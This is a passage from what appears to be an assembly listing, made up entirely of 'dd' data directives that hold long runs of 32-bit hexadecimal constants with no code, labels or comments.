0C8D33636h, 60A8BE98h, 0EED8EB28h, 90C33B98h dd 8ED2DD61h, 5837B0B3h, 4907E8A6h, 6140C928h, 0CF4E6229h dd 0E10494B7h, 876FDA2Bh, 2B8A4E2Fh, 0D6853537h, 5D550D08h dd 523132DEh, 0D553BA6Ch, 1190C071h, 0F3063C9h, 0BC41CF13h dd 78F43D92h, 95075FB6h, 0EB14F614h, 7E23084Eh, 1581914Fh dd 89D4B809h, 11D3FE18h, 0F4D7ADE3h, 5326907Eh, 49ABC986h dd 0AF125C1Bh, 3BBBFF5Ch, 1EF146BDh, 8AA202B8h, 7A211E31h dd 0DC23C13Ah, 3E393532h, 0B06434Eh, 0AEBA8049h, 0DCE397FBh dd 89B3E670h, 849274C4h, 0B7932FD6h, 0B6AA4F33h, 0B3E93869h dd 504D64F1h, 69666CD2h, 472F1FFDh, 15E15D5h, 395CDC08h dd 0E660143Fh, 0EE1B626Ch, 0B1F2AAA7h, 96CFFC4Fh, 0F6263147h dd 0D585DCB1h, 91E930F0h, 420D312Bh, 69AC435Dh, 356A9A90h dd 0E6003188h, 0D32354EFh, 912219DCh, 3DEDBD9Ch, 17793F83h dd 84C298CDh, 0D2849356h, 0A3B18B17h, 9561557h, 0E82FEF3Dh dd 0B0952365h, 0CDB78BC0h, 0AAF8E68Ch, 0EF3D7F0Ah, 3E022723h dd 0C2FEDE50h, 0F42D12DCh, 0F02784FAh, 0E430989Ah, 0D4696D01h dd 5EB0C407h, 84C27431h, 83BD63DDh, 0CA334E72h, 0B0EC26EFh dd 6FE2C6B5h, 8A419C10h, 0C4750796h, 0B08CD234h, 0BCF73725h dd 57F3D4FDh, 0F0A7A231h, 0B82CD35Fh, 7331B7FCh, 4EDF5E55h dd 0BF4F86B5h, 0B90254E8h, 2B8511E1h, 7293289Bh, 593160C1h dd 22228D07h, 58582505h, 571442EEh, 0E9612864h, 5C3AF08Dh dd 8BAF7D68h, 537ECF75h, 62A5549Dh, 0C74830EFh, 0BE11AFD2h dd 725835A1h, 0E219DB0Fh, 0AD172383h, 342AA9CEh, 0E30105D4h dd 1BCF0858h, 4034832Ch, 0A79B54DEh, 5A50DFD9h, 87E80D74h dd 11536BA2h, 0F0AA6482h, 7D671E52h, 71706A51h, 1B10D33Dh dd 730CF2B2h, 0F61DEA6Ah, 11F4C8C8h, 0AC03D072h, 0B4FBBB12h dd 8C822B71h, 96840AD5h, 246226EAh, 680DF79Fh, 2D978B3h dd 0D6BF6E0h, 9274D77h, 7DC8920Fh, 0BE90C8B3h, 418BE586h dd 0CA5585A7h, 0F785BBDBh, 4BED0C27h, 784B20A2h, 146295F9h dd 0C67A1D81h, 3309B450h, 0A663C478h, 57408F38h, 8938D8F1h dd 0E8A75DC6h, 949CD045h, 0F42949E2h, 0F9337125h, 2EE7AF61h dd 0C0D116D2h, 4F4C8F61h, 59EAC0DBh, 0C55CB170h, 1E6A281Bh dd 0B6A9BA22h, 1E16D975h, 0BD55A3Ah, 548B50CCh, 0DC86DF34h dd 860731BDh, 0FC922D69h, 6974F858h, 0C4D75859h, 85A9EA2Ch dd 6DB99BC5h, 8CCF7519h, 118A0ACCh, 0A1004CDEh, 8AB815EFh dd 1C0E20D5h, 7B7EE1Ah, 0A5F911D8h, 67333FDh, 0FBA2E4EDh dd 0A562B83Ah, 0FF8A7CF2h, 0BD05B362h, 0F22B2DBh, 73D2B7F9h dd 175D7AFCh, 0DB1F50Fh, 16645C63h, 5807AD9Eh, 0EEE92C7Bh dd 2F4730Dh, 5AC9DD17h, 6EA85309h, 3B5A06FDh, 3A9F37B1h dd 0E8F87683h, 2F4806BFh, 2AAE7B6Eh, 25F663D8h, 2E156856h dd 0CDE50C84h, 50D44832h, 5405AF92h, 0D5656C5Dh, 0E048CEE0h dd 8AA13C94h, 323C756h, 0FA497476h, 2CC6DA10h, 7E5746B6h dd 0F30817C3h, 5AE748AFh, 2900AABCh, 719A62CBh, 0C883328h dd 0C62B0FAAh, 79C599D5h, 111B4282h, 4DBE68ACh, 88B9E859h dd 81FC8777h, 5F37E3D0h, 63C974ABh, 0D0E92501h, 0C7AEA91Eh dd 6A2BF7DEh, 774CB8F7h, 2E5A2010h, 8CC56D75h, 0A33E4196h dd 0FDB322DFh, 0B5A3B353h, 67261C8Fh, 0E349C015h, 536BD860h dd 602FF133h, 8088F704h, 0EE4240FCh, 153C042h, 0BDE12BCCh dd 0B796F932h, 7012D9BBh, 7D9444E0h, 0BBD9FFAAh, 0ACC015Eh dd 94AAE0A3h, 6C681FA8h, 2BA2D952h, 2BC04FCh, 9BFA4F29h dd 0FE7E3EB4h, 0F131AB18h, 0E86494E0h, 0FBB88BB4h, 40B9D17Ch dd 44B78F59h, 0A19C7E87h, 5D764B3Bh, 79086F47h, 4E012C7Fh dd 0F94F81E6h, 0FA63632Ch, 321CE62Ah, 0FB4E54FAh, 7439826Fh dd 0AF6CC707h, 0C54D9CA6h, 0C4C6D893h, 0E1373C46h, 0F821620Ch dd 778EE023h, 0EC42656Eh, 0B64628D9h, 0CEDCF199h, 0A3B64E60h dd 0ABDBB4D4h, 606489F0h, 4CC2C2BAh, 7FE02A38h, 0C05B340Fh dd 2444F30Dh, 0C6B7F913h, 1443776Dh, 0F2039ADCh, 0A5574CFCh dd 0EC791FD3h, 8A304779h, 98A192C1h, 2249309Fh, 6DAE23E8h dd 4620D052h, 0AA285DE2h, 0F073F3BCh, 0B257932h, 0BE22B25Eh dd 6E10F91Bh, 690F846h, 0A22949EDh, 35F87DF4h, 20E07BF5h dd 39E95167h, 1A4FD804h, 508EC870h, 5D7F4E8Ah, 0FBCFACC8h dd 5934762Fh, 5831594h, 73A0C986h, 0C7D226FFh, 0D91AF477h dd 665E0A13h, 195CC2BCh, 73D28FB3h, 3CA393E7h, 0C1A61BD2h dd 0BABD651h, 0A89EB56Ah, 0CB0EB74Dh, 920CEB9h, 0E44E72E9h dd 25D30322h, 813CAEC8h, 388BDCC6h, 0DB6D2DFCh, 6AF6152Ah dd 2A942D24h, 0A5AC0507h, 697E98D2h, 0A6D95CF1h, 4A26D762h dd 666AA301h, 0E2AED76h, 666122AAh, 2FF23297h, 92B4248Bh dd 1BF9A568h, 0D0AD31CAh, 18FE7612h, 0D5E8CD0Ch, 19D2E202h dd 0E2CE3124h, 0E6FE662Ch, 0F7FC525Bh, 475B415Bh, 0E6724886h dd 11129A51h, 1885904Ah, 38504A06h, 8246A4E0h, 206F52AFh dd 0A9C757ADh, 71E9ADE1h, 0ED4CE39Fh, 39F9911h, 626D6BBBh dd 72DFB5F4h, 0A8F02854h, 0A280F306h, 6A3BE186h, 79D92CAFh dd 72FE35FFh, 0DD5774Ch, 5257BAC6h, 0CE747E13h, 0FDBCA356h dd 528C6AE4h, 0E684F85Eh, 0ABC2BDF2h, 0B8EE530Bh, 558BFD5Fh dd 84C73925h, 728A5BBCh, 81162D3Fh, 3FE01CD0h, 2E552934h dd 51BABAEEh, 289F0A31h, 1782C81Bh, 16DA77EEh, 767F020Ch dd 13D66869h, 0BB524C42h, 0EAC049B2h, 0D6F583ECh, 5EA16EA6h dd 0AA5ADF47h, 72C64B20h, 8DD640D4h, 9A269701h, 0E17CBFF3h dd 0F98295Dh, 2F6890F1h, 0BCACD2CAh, 0C3A01A74h, 90B9128h dd 0AC0BBFC6h, 564F76C5h, 9217F35Fh, 53C22A1Dh, 0E0820EAAh dd 0BCED8382h, 0BA47E12Bh dd 0B87CCF22h, 0DDAA76F4h, 0EA667939h, 1B2E09D0h, 0EF027A43h dd 0EAE71B2Ch, 980F53CAh, 0DCCCD2Ah, 0DE00832Bh, 9E46A561h dd 0E71E69DEh, 0FA171E2Eh, 4DA38526h, 4F8E4076h, 0CD7CE38Bh dd 3C8D5989h, 0C2C2AE8Ch, 3CC92321h, 0E9003DC4h, 15F3F8F5h dd 0C49C3D36h, 0D5C778C8h, 5763375Dh, 17744BF7h, 4409B4B0h dd 1AAEC122h, 5F7C8EE8h, 60767DD6h, 0F9EEDE9h, 19F8664Ch dd 0E9B53C30h, 0DE3340DAh, 0A1D54F98h, 0ACB78B0Bh, 234CC4E0h dd 9E47BAD6h, 863AB1CBh, 261F1F94h, 87BB28C7h, 0A96C457Eh dd 0D0A8F8D0h, 390B367h, 79D0DA9Fh, 2EF113D6h, 0CD6F12A3h dd 32E6F245h, 0F715AF13h, 0D9DA9600h, 0A8E0E2E9h, 170FAAC4h dd 0DE90DC57h, 50D863EDh, 42C9CD71h, 867F946Ch, 47954B14h dd 5FF92C34h, 1987F207h, 116B9514h, 9654632Dh, 43D7B494h dd 3EB1A00Fh, 83E3EA69h, 0F2CDAE1Fh, 5681DCB1h, 0B5A2A084h dd 64AB4B05h, 0B53B2CC5h, 8A3642C4h, 0F7730919h, 0F4B04F15h dd 8EAA95CEh, 0AD269C58h, 529382F6h, 1A96CB38h, 61ED94ACh dd 0F985A701h, 200C12D3h, 8CDB952Eh, 0A7446E36h, 8D5F73F7h dd 8AE25AEh, 44DE0F45h, 5954DA52h, 0B6965F78h, 7D88DB2h dd 44D6E007h, 92857201h, 0CD3DA636h, 57B91F43h, 0CDF94D22h dd 0B4C65815h, 3676DCA6h, 0F01D1D78h, 31DEEEFAh, 2A1FB095h dd 73BDA43Ch, 0B4A23977h, 0A94D71DEh, 935324A9h, 0C9931F83h dd 8412EE1Fh, 0D7AFEB17h, 5976B2F7h, 20125A7h, 61A5C6E7h dd 5CBFE811h, 0DA81C0E5h, 62BC185Fh, 2F2C76E5h, 4EDBF17h dd 0DC537C6Ch, 7F188F3Ch, 0C1E519CFh, 0AC3E311Eh, 37EC4BCh dd 0B87B8AB0h, 6713EB77h, 0A9193B95h, 4FB4F3A5h, 754AE531h dd 66FE774Dh, 1F71123Ch, 0E9DA008Dh, 0FE7F4734h, 0C805D838h dd 0E3FAE96h, 1DBD24C8h, 0E9A43967h, 0EAFE90A0h, 4C5286F5h dd 7E9EC5F7h, 77878E53h, 0E9B5Ch, 227EDBC6h, 98BD433Fh dd 86ED4AE1h, 0C83808ABh, 0A0BD430Ch, 4EAF81F5h, 9BA8CF11h dd 6B3DEC82h, 5F932B7Fh, 8C8D3DB0h, 243F8D08h, 0CC2468D8h dd 0B31E8AF2h, 53987BA6h, 6607895Ah, 0B4E21ADEh, 5BEC8B95h dd 38DEF111h, 0BAFBD6EEh, 45626B02h, 1BF8E183h, 8451721h dd 0A43230EDh, 5C5BFC6Eh, 1F88337Ah, 0AE8C72F0h, 0B448DBFEh dd 0D80F2817h, 15A05014h, 0CAA7DE5Fh, 0DBF19A82h, 0AB90057h dd 0B992E0DBh, 91FB7380h, 0DC7B4BD9h, 9F8930C8h, 0A9276FBEh dd 70008511h, 9B7902D6h, 1861B58Ch, 5DF4A73Ah, 0C76BBE69h dd 129EB1F2h, 0C6A40120h, 2C26E25Ah, 1AD39C4Fh, 9AFF2A3h dd 0DA72E1A7h, 97B25C41h, 0A34E0794h, 0A2173708h, 9027FEE5h dd 8C0012F0h, 28AA1F83h, 7A86931h, 0D72606A4h, 0C8AD9521h dd 52972E6Fh, 5F17EC84h, 0E854C1E9h, 0D6307795h, 0E83E1C95h dd 4C498982h, 5973A00h, 6B454803h, 0F20761C4h, 115F1191h dd 0A6B5276Dh, 17366566h, 94CCDCAAh, 7EE96ADAh, 386604Ah dd 6A5663EEh, 788F5684h, 0B6EDAEDDh, 5D65A0EAh, 3B5563F1h dd 0C1E6EAFDh, 2816084Ah, 227EF9ABh, 0A35029DFh, 8E85FF7Ah dd 0B7BBB7CFh, 365E393Fh, 57C4451Bh, 0B9F634E6h, 2B3B65Fh dd 54705EC2h, 0D6D55F2h, 0C3BB47FAh, 0C01C5E6Fh, 5DB4E277h dd 0FDA00EFDh, 0C9454F02h, 3974D87h, 0B221C85Ch, 5F58289Dh dd 36E76795h, 326F5CABh, 0D2514BE1h, 59F3AB71h, 0B506F3A7h dd 0D6D93409h, 9BF4424Fh, 841FCCDFh, 5F935FA0h, 509ADACEh dd 0DB83E3B6h, 4A2CF291h, 0ADEC7EFAh, 0C980939Bh, 859E9F7Ah dd 2A3774FBh, 4E156D13h, 0F77743Ch, 34DD039Eh, 5E62785Fh dd 0D93E84EBh, 0B2490B5h, 0F42C0C0Dh, 0E64A07DDh, 0D27D4E01h dd 0AC888F76h, 0F43F21A4h, 3A72F6C7h, 0CB6AF3DEh, 108F1799h dd 3E0CE31Eh, 4AFA60BFh, 0E875B2B3h, 0DFE05DA0h, 613DB7FBh dd 0F8A28459h, 97EA7C64h, 4AC7F8EAh, 0CA07EF09h, 7089A170h dd 85CF51A4h, 0C4E3480Ch, 2738493Dh, 0D32C8116h, 0BD7928E7h dd 0C4AB8954h, 83BBB1C0h, 0F2A89CDDh, 0AC362CD0h, 1E5706A2h dd 74F48848h, 225B2BBEh, 0ADFA8BABh, 88D9A599h, 0C22E3282h dd 8C40F6D8h, 693CFDAEh, 80A69BA6h, 1178199Fh, 8B012715h dd 8A536F38h, 0A1D98EB7h, 98CEEBDBh, 0D3CDE224h, 0A25225D1h dd 25E5A70Ch, 16B30983h, 6BA5CCA9h, 5D429A8h, 5EFD6F32h dd 0A6A59293h, 42EA9867h, 2F3C804Bh, 3A7DEB51h, 92958D07h dd 20C3AE07h, 5792D28Fh, 70E932ABh, 9838B3ACh, 74C0047Fh dd 0EB7AB2F8h, 6CFAFDEAh, 26EFA4B3h, 289D16A2h, 0BD1868CBh dd 0AA6A6432h, 66408C5h, 26196BCh, 4363A165h, 0F60632ACh dd 0E6FAA15Ch, 42A22D4Dh, 0EB3BE598h, 0A23E229Ch, 21BAD213h dd 238678B8h, 4C37BBFAh, 643EC4D1h, 9A19653Dh, 0D44F477Dh dd 0C3297353h, 0AA3EB7DEh, 0FD1D64C8h, 94FE8055h, 251CD665h dd 0A850C204h, 49AE9292h, 39C82610h, 0C81AD698h, 6CA0879Dh dd 86435DFCh, 8066A796h, 30E36660h, 89363503h, 0F45831D8h dd 4EBDE110h, 4B9D30B9h, 52332D2Bh, 2E31FA75h, 0FCCEBC53h dd 11972052h, 6AE8F4C8h, 0E8EB3B79h, 0A01E23A5h, 89B3AAF1h dd 537E4B9Ah, 1CE9EEC2h, 0FFF3536Bh, 97095873h, 0F5C46FB6h dd 0EC4EECB0h, 6EB9377Dh, 0E950C17Dh, 23B000EBh, 25500C33h dd 27914151h, 0DA62BDE6h, 924D52A0h, 0B1B7D63Eh, 0FA3CB47h dd 5BF31C4Ah, 0E3146E72h, 0D0E508Dh, 0A83251h, 98DA20ACh dd 0ED924900h, 9F2186F8h, 4E8D33D5h, 5D9CF0EAh, 7FACA21Ch dd 0D2E5D077h, 0CAB5D05Eh, 0D990C628h, 0F1DB814Fh, 1D79DA18h dd 0F8169E9Dh, 0F86AA24h, 0B2D9128Ah, 0D9937CA3h, 99608726h dd 0F39AB2FBh, 6C1C930Eh, 9FD385B3h, 70E8AA21h, 6BD4A057h dd 80C69D84h, 9E30FE69h, 0F0FE49E7h, 8753D0CBh, 0EA28F815h dd 565CC5E3h, 0AB41ED2Bh, 0B39A3F8Eh, 0A012DC29h, 0BBCA72D4h dd 0EDD97414h, 0ED584903h, 0F3F960AAh, 88BAB499h, 960A9ECCh dd 0C67C40A2h, 7CC0B57Eh, 736F709Bh, 9D6CEA9Fh, 4B0FB0ADh dd 0BDC5B32Eh, 11B2AB2Eh, 6F57FB84h, 0FD0C797Ah, 0B5A62947h dd 613521BAh, 0A8B0D460h, 470F1B40h, 3EEC33B8h, 207E7DABh dd 761BBA17h, 0D6648CE4h, 0E8CFB14Eh, 5FC183D2h, 0B810C859h dd 0DD5ACB0Bh, 45FE7D63h, 0BD79E39h, 9AA59CC8h, 2340935h dd 16F1C6C4h, 0AF153162h, 0F7F4601Bh, 0E7A89D93h, 837C3014h dd 597E54C2h, 6AA04513h, 0E4C40E85h, 0CA226C11h, 63FB090Ah dd 0B9BD0F2Fh, 230E0018h, 0C35CFE07h, 0A8365E79h, 22B4C09Ah dd 9D798DC4h, 0D864A74Bh, 0DEEEB471h, 0E3B55F8Ch, 658B7049h dd 8F2E1828h, 1FAF9E1h, 4ABB2008h, 62D8FCDFh, 527D995Eh dd 1923EA21h, 0E54FFB20h, 1F7A7E22h, 0A8A3876Ah, 224DDC2Eh dd 5DF5C8BAh, 12C1B272h, 737286F2h, 0F4F4099Ch, 3A8E1EBDh dd 0C699BE17h, 0B2F4A2D2h, 8AD7523Ah, 790E9014h, 0B22F0533h dd 49645447h, 2FDB478Fh, 7D5F6E29h, 0A43FE22Ah, 0F898228Dh dd 311E791Eh, 45355B91h, 8BE8FCD7h, 93C9CA8h, 0D684E597h dd 273D0C36h, 4255C276h, 428F4C7h, 0A2A2F75Bh, 707E48BEh dd 81BA562Bh, 522D7E00h, 2904A3E4h, 0FF1AE3A8h, 7C80F32h dd 0F43194Ch, 0F64B3E23h, 948676EDh, 6C750585h, 73DE1AF0h dd 6959003Ch, 0E3E3541Dh, 85AB6AB8h, 4D793924h, 0DFF86F6Fh dd 4148032Eh, 0D5778D9Ah, 3809BF18h, 0E127FA5Dh, 819FE89Dh dd 0BCD498D1h, 0AC99D508h dd 89065F4Ah, 0C229E620h, 6EC14B91h, 4B4874DCh, 8B996DA5h dd 72ED4E23h, 0E08C5A51h, 0C0CDFB7Dh, 74D49250h, 74F9B1CBh dd 0C9D949B3h, 2EA17B38h, 3F0DA7AFh, 0CBD7A3D6h, 0AB3736C8h dd 24871CA1h, 0DBF4B0B4h, 0A6C2B06Eh, 33A04407h, 67934B53h dd 0CAE8FC10h, 0F738B06Dh, 7DFE975Ch, 0B685AB1Dh, 20762ACEh dd 7BA8EEEAh, 851A9214h, 71D167C7h, 7AE81AD7h, 97EB1D1h dd 89A3F03Ah, 127AA63Fh, 20C3FE0Dh, 52E3F08Bh, 0C00FF274h dd 596A0846h, 5AB44132h, 0C1AAB034h, 0E5380397h, 5F1CFB0Eh dd 38362FF3h, 0D65B3061h, 482D9DCEh, 0F31D79FCh, 0E16799ADh dd 0B4FD7405h, 152D5FA3h, 7FC78717h, 1BCAD60Ah, 0DF9F22EFh dd 0C6869FC7h, 6939AE31h, 0C2340376h, 0C447A039h, 60451F5h dd 24E08E1Bh, 0B54F9661h, 15408E0Fh, 0FA33A488h, 3F3AAA49h dd 18E7C446h, 0ED168326h, 0BFD9BC95h, 4F24EFFDh, 636D509Dh dd 5B60842Bh, 818045ABh, 0C4E30303h, 0DCB4A60Fh, 5682AC50h dd 0A14C191h, 0EFFF6A90h, 0E5F20BCAh, 3F8722FEh, 77E8B2BBh dd 224EC39Dh, 0D705A0DAh, 0CCF8C462h, 0BD960BA3h, 6D877E44h dd 0B98A6C2Eh, 6997A002h, 293F683h, 4FCECDE1h, 63180E7Eh dd 0B6FB1307h, 0C9521B27h, 8A19946Bh, 0CCE84121h, 0A3C6D6Fh dd 4520F9A5h, 0CE1AE89Fh, 74BAA742h, 0EEE0A40Bh, 0B7FF2A3Eh dd 28784A5Ch, 3A0894AFh, 0C0EE3662h, 0D3AE309h, 62932A6Bh dd 9B03EAF5h, 6F70589Dh, 0C9BC2F64h, 0C370F15Ah, 0A3992E4Ch dd 4F873635h, 1684F1C5h, 93533C70h, 5049D9Fh, 6944A029h dd 0DAB82C5Dh, 151034B8h, 0ABA02476h, 200AF656h, 0CF6640D2h dd 1902E55Bh, 45AE2D65h, 87CAC3D4h, 74A33A8Fh, 0FA1993A2h dd 2039015Ch, 0B6DD0DD2h, 0D7A13147h, 0FDE20123h, 49E3D7B8h dd 882C7EEBh, 89D2113Bh, 88B3CD7h, 46203BE0h, 5473A4D4h dd 0FCEDB20Eh, 74474831h, 0E638CE51h, 5BE21B14h, 467D9C22h dd 0BD03CF75h, 38C24AE1h, 85318390h, 6CA381CDh, 49D8C410h dd 5EBFF3DBh, 4D962604h, 0B24E059Fh, 296D307h, 611B8F66h dd 0EEBA3EC9h, 0C734CDFAh, 1BB0363h, 31BABE1Dh, 0EB493053h dd 0BD0FA799h, 0EFC677DAh, 70D0E291h, 0A4D514A1h, 6500CEB3h dd 412DF1B7h, 5040F076h, 0C6DC8122h, 4AF3B9EAh, 1D938EECh dd 4A3D39EFh, 0E48587Ah, 0DEF8A5F1h, 8F07BB0Ch, 0C7DEE31Dh dd 996FF61h, 0C638D216h, 8FE1CE91h, 0A939F2C8h, 0CFA638BFh dd 709A45Ch, 0F69ED701h, 577E8E28h, 350CF24Ah, 98C27009h dd 1CC9680Eh, 0DD79C7A2h, 8F319F06h, 1E9DFDD8h, 0B6B2FD7Dh dd 4B67EC89h, 215A7F55h, 0FE82E65Ah, 0A659D169h, 1A491802h dd 0BEFC7335h, 0DF0BD44h, 69C27E42h, 0B9C181Eh, 0BA5D6824h dd 372C85D0h, 0B57BED62h, 0DB22D939h, 15D80C4Eh, 4AC10951h dd 7389F34Dh, 547BC2D8h, 0ACFF2269h, 39577E71h, 0D43959FEh dd 1B4BEF05h, 0FE61ED59h, 0EB05C018h, 1EC722EBh, 63507255h dd 34CB24F2h, 68578C4Ch, 0D79046ACh, 3D33E8D7h, 0DA2A6798h dd 719DA62Dh, 4387A36Dh, 3C16F9C7h, 3FB50328h, 6F7BD9C2h dd 1A5E065Dh, 8B2402B2h, 0EFDB405Ch, 9664F73Fh, 499C809Dh dd 0F5AABDFBh, 0AD006628h, 461754CDh, 51665070h, 485CF374h dd 77E89CA7h, 0B075CDBDh, 0D150278h, 1D806E95h, 0FB55EE80h dd 6C1FBE4Ch, 2525FC8Ch, 0B0E63A28h, 7469FF98h, 0E7A49083h dd 0D5A77D48h, 4D836587h, 30DA2B10h, 4D71BF5Fh, 0DF295355h dd 7893B08Fh, 26A0C5CEh, 38C95FF0h, 55FCC872h, 3D66773Eh dd 1B81223h, 5A94087Ah, 7BE1F53Ch, 0EFDB6A6h, 0FF9E8AA6h dd 0A9100397h, 11CE9708h, 1E30FC0Fh, 0BDACE6E8h, 0DAA8FC2Ah dd 2A69046h, 0ECFE2275h, 9E525323h, 22B4F751h, 11C32429h dd 0DD4F6502h, 8D53FCEBh, 8BEC3A5Dh, 1A60B6D6h, 12C9F7B0h dd 0FD44F450h, 0AB13E9FEh, 577B4FBAh, 4961A781h, 4D960F7Ah dd 5CB62E5Ch, 0F8BCA29Ah, 456DCDFDh, 0BA4A6736h, 0AD8BB04Fh dd 24324203h, 0BF564BBDh, 50CA29Ch, 428CE6EBh, 9468F9C0h dd 0BB6CAD55h, 0F54D1A9Ch, 0C1D91F3Eh, 0E7C4742Fh, 450D075Ch dd 0A3CC9A05h, 0DCBEBF19h, 763AE35Bh, 284BB48Bh, 97F33C41h dd 2A8B8596h, 5B47D2D5h, 4EC7498h, 0F5313D92h, 86E9D52Eh dd 731C4725h, 77B8B37Dh, 4B07C093h, 6A6A8AC3h, 0BBB717A8h dd 0E1830A54h, 10BEDB9h, 8ABBC61Bh, 31FCA117h, 4E841195h dd 0B73FA4F3h, 0EBEBDB5Bh, 0F0D29EC7h, 2A88CE3Bh, 0C8814F06h dd 0FF10A40Ah, 0C3CD4F42h, 859F450Fh, 5F00779Eh, 0B939679Dh dd 77C9CC67h, 758CBB87h, 66F5922Ch, 6EB6CE5h, 0D103ED67h dd 30FAB558h, 0D2835456h, 61AFC224h, 0D58E90B7h, 40F98D3h dd 0AF848425h, 5C0887A3h, 2D20BBECh, 0DC9865F7h, 2FC7F65Dh dd 36A4CCFDh, 0CF49A273h, 8E54F33Dh, 67AFB5A8h, 0C1423469h dd 61B44A94h, 75374AABh, 715EC6C4h, 0A6E70E6h, 0FD92B17Ah dd 0DB55B709h, 1A95F3ECh, 0A871C2FFh, 7BC41122h, 0B19C3BE7h dd 0B7D3493Ch, 0F2352581h, 84DC8576h, 0ADFDCC4Fh, 9BE083D2h dd 0E6B90D49h, 6DC3562Bh, 0EC08157Dh, 0DF0B8769h, 241CC5AAh dd 41DEFFC4h, 7807B6F6h, 0CBD3FBACh, 0BF3EC21Ah, 7ADE3214h dd 11C443AEh, 2E1D0936h, 0AD13CAF8h, 93E48FC1h, 0FD78A938h dd 0DBAAE35Fh, 2652E97Fh, 342CFADDh, 5201E559h, 0A61AD266h dd 0B35B6597h, 0F693C962h, 68053AB2h, 9410CF62h, 0D73E13FBh dd 44293A4Ah, 44D07h, 166D9724h, 4D9351EBh, 4961A9BFh dd 39F3FA99h, 0D81B13BFh, 8D2D170Ah, 8C27A6E2h, 5780AC8Eh dd 4F2744BEh, 3D42DEBCh, 0E07B7EC2h, 9427A744h, 0C8DC00E0h dd 36110D1Ch, 5B2FEBC0h, 507CAACBh, 0C7DF40EAh, 407E82A5h dd 613FA753h, 8D463D33h, 4F5B85A9h, 48B7FA69h, 23885D82h dd 0AA6413FFh, 7284FE31h, 0CD7836C8h, 0AAE867C5h, 0C611E1CEh dd 886E96C2h, 0F149D420h, 35A363F2h, 632FD29Eh, 8E889D3h dd 0AA575912h, 37E2BD41h, 0DF23E77Bh, 948E9933h, 0F5EB422Ch dd 0D620F178h, 0A3403EA0h, 0E4D64B13h, 6BBB8614h, 0CAE65584h dd 0ADDEA17h, 53455722h, 5BABAB4Ch, 0E41B00B6h, 0F48ADE13h dd 60273197h, 925A7551h, 7CC2FE03h, 4A034F83h, 0E46BFED7h dd 4E3E3A14h, 5BA1F8EAh, 28E9ECE9h, 5BDE619Dh, 374F3A84h dd 0E2BD9DA2h, 8A38A488h, 0D41CBF8Dh, 521447F4h, 767426F0h dd 0A4131E49h, 5A872218h, 36A6711Bh, 22520DB3h, 7AD5CD5Fh dd 7DED5E42h, 0D3D82B85h, 3814BE6h, 6181B0C6h, 18F300C9h dd 0A88573B0h, 943EE2A9h, 0B794D0Ch, 0B28DF2E7h, 6A436958h dd 26A80A82h, 503B783Fh, 98AAA13Eh, 8C4ADC22h, 6EF1D744h dd 50F1A5F3h, 7F9FA617h, 3F4236E5h, 1A1B0684h, 0DA0D657Ah dd 8B0B63FBh, 691E13BEh, 0CC38A016h, 52B68F44h, 64F0F14Bh dd 56D0BB42h, 9E6A0AE9h, 4FE886D6h, 308E12A0h, 36769D0h dd 3D7EB996h, 0EBE89CD5h, 4E33579Eh, 58727505h, 41B6657Ch dd 328EF96Ah, 176F091Bh, 84F87F04h, 0EEBF443Bh, 0E9242349h dd 2A2155FFh, 17702DB0h, 72B1AD99h, 3EE00678h, 0AFA1677Bh dd 0C8C4C8EDh, 565A62D0h, 96571795h, 3025F46Fh, 85156961h dd 0A774C6B4h, 0CEC510A1h, 44FB0867h, 2340A76Dh, 3EA5DDAFh dd 546A0D9Eh, 9E46D3A7h, 245D78AAh, 0F3DA9B56h, 0F8DAC200h dd 0AC5DB4BBh, 2086CF66h, 7B9ECA4Fh, 0CB6DAEFBh, 496F744Fh dd 0D1BDB7D6h, 494121D8h dd 2AF40D87h, 96BC7AB3h, 0CB2F8208h, 0D2D5F1E1h, 0CC622E56h dd 61C8B9AAh, 0C7B8FEEDh, 85ED2776h, 5645B528h, 8EEA217Bh dd 7FFA7257h, 26DB1EB3h, 0E47EB7Ch, 69ACD47Dh, 1405C473h dd 3246283h, 6DADF14Bh, 65FADF11h, 0C71A8E7Ah, 367A95CBh dd 1D0CDC10h, 53A61269h, 3932CB4Dh, 3A13961Ch, 0C70642ECh dd 4AEF1A3Dh, 0CB57EC2Fh, 8D8D5F4h, 4A750FDh, 0ED3894D4h dd 0EE98B268h, 6F07E9E4h, 36FC9EDh, 829A3DD7h, 0A9519FDDh dd 367DFF8Fh, 10012715h, 3B347473h, 0FD2817FDh, 0C2219DD1h dd 5C355920h, 54180DA0h, 89B3E97Ah, 58336607h, 1666A9ECh dd 62435E75h, 89A37B5h, 0E16662D4h, 7FB7394Eh, 0A15039D3h dd 253C9E34h, 83A123B0h, 3402E6F3h, 88868A9Eh, 0E67DF021h dd 0BEC384AAh, 8DBA4EA9h, 0A493E119h, 4CF664E0h, 56D89A0Ah dd 0B336B491h, 0F35890Ch, 0E4F047D8h, 276079BCh, 78C72DF5h dd 619B6420h, 2977BB35h, 0A015C178h, 5D0FA050h, 24B1071Dh dd 409DB6CAh, 0C772B389h, 0F4BCFEE3h, 0C352A64Ah, 14F7FE09h dd 1E2217Ah, 749C8022h, 7317B54Fh, 2AB57F30h, 5CD7C44Ah dd 3D50B2F9h, 0B8244E64h, 8291351Eh, 17F27E2Dh, 406BAEB6h dd 0B36B1F65h, 1E1D639Dh, 0FDB2A872h, 1E04E1D5h, 0EDEB392h dd 0A4C1CFD8h, 1EFBB014h, 8C5B3D60h, 1BA1FEE6h, 27EC3897h dd 0CF63BB61h, 12B36C41h, 83B94C42h, 0DB43B62Bh, 9C00C0F2h dd 0A6FDFFFh, 837BC0E0h, 1093962Fh, 642EE980h, 0AB53BA7Bh dd 99C2EBFEh, 0E8E9F11Dh, 0A3BB54C5h, 3B508499h, 88C689E9h dd 301CE843h, 0FAC804D9h, 3C323048h, 0A1E0751Ah, 60F0A9ECh dd 0C016DA8Bh, 37F8897Eh, 5AAADD68h, 0DCE2E8AEh, 0AD32BE30h dd 3E5CE847h, 0D97E7523h, 0BC258712h, 0CAFFA7E2h, 90BE164Bh dd 3530A459h, 3ED0803h, 6F202841h, 30BB0614h, 8A3A1FC5h dd 0BCE246F0h, 0E8BF1C2h, 67645004h, 0A909DD2Eh, 58571ADEh dd 0AFE02AA1h, 0A1BCAB8Ah, 0AE3E7E64h, 0AC910378h, 88AE466Eh dd 0E50A0782h, 4DEAD520h, 6CD4A63Fh, 562D8A65h, 5082013Eh dd 0E0BF9958h, 0AFC0C754h, 12362194h, 985BA871h, 0AE55F321h dd 1E7F2889h, 89E47DE3h, 2015332Dh, 0B136B0D7h, 9C20AF4Ch dd 7A6B8362h, 1F4801B4h, 6364CF5Dh, 30689F6Dh, 2F7D8FCh dd 2FBFADCBh, 